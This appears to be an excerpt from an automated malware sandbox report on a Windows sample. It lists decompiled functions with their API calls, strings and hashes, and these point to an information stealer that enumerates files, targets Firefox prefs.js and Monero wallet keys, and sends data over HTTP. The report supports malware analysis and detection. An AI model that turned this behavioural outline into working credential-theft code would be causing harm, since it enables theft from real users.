Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 4af75426d90ec2778aca7380e44f18846d3852399d89f7cf6a9d8b1fefbb3524
Instruction ID: f1cfa6d469eeebc7b1914ec45291da18477af80bd6479bf400c242ee01114996
Opcode Fuzzy Hash: 4af75426d90ec2778aca7380e44f18846d3852399d89f7cf6a9d8b1fefbb3524
Instruction Fuzzy Hash: B812ED72910219AADB15EB90DC9AFEEBB78BF94300F504199F14672091EF702F49CF66

Function 00533EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00533EC3
FindFirstFileA.KERNEL32(?,?), ref: 00533EDA
StrCmpCA.SHLWAPI(?,00540FAC), ref: 00533F08
StrCmpCA.SHLWAPI(?,00540FB0), ref: 00533F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0053406C
FindClose.KERNEL32(000000FF), ref: 00534081

Strings

%s\%s, xrefs: 00533EB7

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 4217188cfb07e300088488138f4b2f6397647e74be70ca8a391d2d14feddbef9
Instruction ID: d5b6e24bd33660144d8f57a9afa946b33e57409899200550c36e8ae800e9abcf
Opcode Fuzzy Hash: 4217188cfb07e300088488138f4b2f6397647e74be70ca8a391d2d14feddbef9
Instruction Fuzzy Hash: D45148B2500319BBCB25EBB0DC89EEA777CBB84300F408598F65A96080DB75EB858F55

Function 0052F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,01088AA8,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,005415B8,00540D96), ref: 0052F71E
StrCmpCA.SHLWAPI(?,005415BC), ref: 0052F76F
StrCmpCA.SHLWAPI(?,005415C0), ref: 0052F785
FindNextFileA.KERNELBASE(000000FF,?), ref: 0052FAB1
FindClose.KERNEL32(000000FF), ref: 0052FAC3

Strings

prefs.js, xrefs: 0052F812

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 7e86fc42c114e0ff3a7d4f02082246602044abd5451c73cd9cc549775430d122
Instruction ID: 9cacd7d27e6830a7ab13b6062ebe6958d0fd2871a1b58e4bd651c32590681d96
Opcode Fuzzy Hash: 7e86fc42c114e0ff3a7d4f02082246602044abd5451c73cd9cc549775430d122
Instruction Fuzzy Hash: 80B14471900119ABDB24FF60DC99FEE7B79BF95300F4085A8E44A96191EF306B49CF92

Function 005216D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0054510C,?,?,?,005451B4,?,?,00000000,?,00000000), ref: 00521923
StrCmpCA.SHLWAPI(?,0054525C), ref: 00521973
StrCmpCA.SHLWAPI(?,00545304), ref: 00521989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00521D40
DeleteFileA.KERNEL32(00000000), ref: 00521DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00521E20
FindClose.KERNEL32(000000FF), ref: 00521E32

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,01088AA8,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

Strings

\*.*, xrefs: 005217F1

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 6bbd6325ee1e977f378dd21acada5a66a261d1bfde356a12d5178d83183ab3d5
Instruction ID: 30f95471bf94332a1b2308ab18bdc4aaf03fa30659b71b8b86903180990783cb
Opcode Fuzzy Hash: 6bbd6325ee1e977f378dd21acada5a66a261d1bfde356a12d5178d83183ab3d5
Instruction Fuzzy Hash: DA122572910119ABDB19FB60DC9AEEEBB7CBF94300F404599B14666091EF306F89CF91

Function 0052DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,01088AA8,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,005414B0,00540C2A), ref: 0052DAEB
StrCmpCA.SHLWAPI(?,005414B4), ref: 0052DB33
StrCmpCA.SHLWAPI(?,005414B8), ref: 0052DB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 0052DDCC
FindClose.KERNEL32(000000FF), ref: 0052DDDE

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 44b99473876d87ffeed8ebbeaf5425251c51619f9e9647c4c3f914f4e40f670c
Instruction ID: 64df8e26d805cce2cba298ae2ea30e8620c7bcb0a6a8c4c9933047ec53db7061
Opcode Fuzzy Hash: 44b99473876d87ffeed8ebbeaf5425251c51619f9e9647c4c3f914f4e40f670c
Instruction Fuzzy Hash: 60914572900115ABCB14FB70EC9A9ED7B7CBFD5300F408558F94A96185EE34AB09CFA2

Function 00537B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

GetKeyboardLayoutList.USER32(00000000,00000000,005405AF), ref: 00537BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00537BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00537C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00537C62
LocalFree.KERNEL32(00000000), ref: 00537D22

Strings

/ , xrefs: 00537C7F

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 2a7b8c3e4d881dc081a370147ee3c07b36ccb6d8062b1eff26ffd09f22ba68d5
Instruction ID: 8ff8328888e1e4bac4e67db724ed4c1a824b09e73209edfd5181043bee49cd1d
Opcode Fuzzy Hash: 2a7b8c3e4d881dc081a370147ee3c07b36ccb6d8062b1eff26ffd09f22ba68d5
Instruction Fuzzy Hash: 03413D7194021DABDB24DB94DC99BEEBB74FF48700F204199E50A72191DB742F85CFA1

Function 0052E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,01088AA8,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00540D73), ref: 0052E4A2
StrCmpCA.SHLWAPI(?,005414F8), ref: 0052E4F2
StrCmpCA.SHLWAPI(?,005414FC), ref: 0052E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0052EBDF

Strings

\*.*, xrefs: 0052E44D

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 82445062a33601248a1e5b7230ce1eb04ad31025f1d19ef2599e1c74ffb34cb8
Instruction ID: 7bba0356556c2eecc75dec499aa777aa25798b5f56265a0df76f4a38e7428ba2
Opcode Fuzzy Hash: 82445062a33601248a1e5b7230ce1eb04ad31025f1d19ef2599e1c74ffb34cb8
Instruction Fuzzy Hash: 53122472910119AADB14FB70DC9AEEDBB38BFD4300F404598B54AA6191EF346F49CF92

Function 00539600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0053961E
Process32First.KERNEL32(00540ACA,00000128), ref: 00539632
Process32Next.KERNEL32(00540ACA,00000128), ref: 00539647
StrCmpCA.SHLWAPI(?,00000000), ref: 0053965C
CloseHandle.KERNEL32(00540ACA), ref: 0053967A

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
